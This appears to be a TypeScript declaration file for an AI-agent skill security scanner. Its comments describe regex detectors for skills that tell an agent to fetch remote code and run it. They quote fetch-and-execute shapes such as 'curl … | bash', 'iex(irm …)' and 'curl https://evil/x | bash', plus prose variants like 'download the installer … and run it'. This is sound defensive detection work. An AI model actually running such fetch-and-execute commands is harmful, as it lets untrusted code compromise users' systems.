/** * Security Scanner — code-execution pattern sets * @module @skillsmith/core/security/scanner/patterns.exec * * SMI-6033 Wave 4 (Gap 1): `CODE_EXECUTION_PATTERNS` moved here verbatim from * `patterns.ts` (which was already sitting at exactly the repo's 500-line * file gate, leaving zero headroom for the new sibling array below) and * re-exported unchanged from `patterns.ts` — the same load-bearing * re-export convention `patterns.jailbreak.ts` / `patterns.jailbreak. * evidence.ts` already use, so every existing import path keeps working with * zero churn. Do not remove that re-export. * * The two arrays here are the SAME finding type (`code_execution`) at the * SAME advisory tier (one medium finding per skill, 12 points, sub-threshold * alone) — they differ only in what they read: * * - `CODE_EXECUTION_PATTERNS` — literal shell/interpreter SYNTAX * (`curl … | bash`, `bash <(curl …)`, `iex(irm …)`, …). Precise, low-FP. * - `IMPERATIVE_FETCH_EXEC_PROSE` — natural-language install-and-run * imperatives with NO shell syntax at all ("download the installer from * thisurl.com and run it"), which the syntax detector scores at 0. * * Gap 1's design is "strengthen, don't replace": the prose set is ADDITIVE * and deliberately emits at the same medium/advisory tier, because * legitimate skills genuinely do say "download the installer from the * vendor's site and run it". The teeth come from Gap 6's co-signal * mechanism (`CO_SIGNAL_MIN_SEVERITY`, SecurityScanner.exec.ts), not from * this array's own severity. */ /** * SMI-5359 Wave 4.2: Remote-fetch-to-interpreter ("code_execution") patterns. * * These detect a skill instructing the agent to download remote content and pipe * it straight into a shell/interpreter — the canonical "curl | bash" supply-chain * primitive and its PowerShell / process-substitution / decode-then-exec variants. * * Scope discipline (SMI-4396): every pattern requires BOTH a fetch verb * (curl/wget/irm/iwr/Invoke-WebRequest/Net.WebClient) AND an execution sink * (| sh, <(...), eval $(...), iex, -EncodedCommand). A bare package install * (npm/pip/brew/cargo/apt install) matches none of these. Quantifiers are bounded * and exclude the pipe / newline so there is no catastrophic backtracking. * * SMI-5359 Wave 4.2c retune (read-only prod sim FP): the curl/wget fetch patterns * additionally require a CONCRETE remote target (http(s):// or a `host.tld` domain) * between the verb and the sink. This kills the false positive where a code-review / * security-review skill documents the GENERIC pattern in prose with a placeholder * ("curl … | sh") — no target -> no match — while a real "curl https://evil/x | bash" * (which always names a target) still fires. */ export declare const CODE_EXECUTION_PATTERNS: RegExp[]; /** * SMI-6033 Wave 4 (Gap 1): natural-language fetch-and-execute imperatives. * * `CODE_EXECUTION_PATTERNS` above only reads literal shell syntax, so free * text ("download the installer from thisurl.com and run it") scored exactly * 0 — the ClawHavoc brief's first gap. Each pattern here requires ALL FOUR * components the plan specifies, so no three-of-four near-miss fires: * * 1. a FETCH VERB — download / fetch / grab / get * 2. an EXECUTABLE NOUN — file / binary / executable / script / installer / setup * 3. a REMOTE TARGET — an explicit http(s) URL, or a domain-shaped * token introduced by a source preposition (from/at/on/via) * 4. an EXECUTION IMPERATIVE — run / execute / open / install + it/this/that/ * them or a `the ` object * * Two entries, covering the two natural orderings of (2) relative to (4): * P1 states the noun before the target and closes with the imperative * ("download the installer from thisurl.com and run it"); P2 leads with the * imperative-plus-noun and trails the fetch clause ("run the installer you * downloaded from thisurl.com"). P2's imperative object is REQUIRED to carry * the executable noun (no bare "run it"), which is what keeps component (2) * present in both entries. * * Two FP-control decisions worth naming, both verified against fixtures in * packages/core/tests/security/co-signal-escalation.test.ts: * - The bare-domain form requires a source preposition (from/at/on/via), so * "get the file report.txt and open it" (a LOCAL file) does not match. * - The bare-domain form's TLD carries a negative lookahead excluding * common FILE EXTENSIONS (sh/exe/py/js/md/txt/zip/…), so "download the * installer from setup.sh and run it" (a local script name, not a host) * does not match either. `[\w-]` never matches `.`, so the host-label * alternation is unambiguous at every `.` boundary — no nested/ambiguous * quantifier, ReDoS-safe (measured <1 ms at the 10,000-char scan cap). * * Emits at the SAME medium/advisory tier as a lone literal-syntax match * (see this module's header): never standalone-critical. */ export declare const IMPERATIVE_FETCH_EXEC_PROSE: RegExp[]; //# sourceMappingURL=patterns.exec.d.ts.map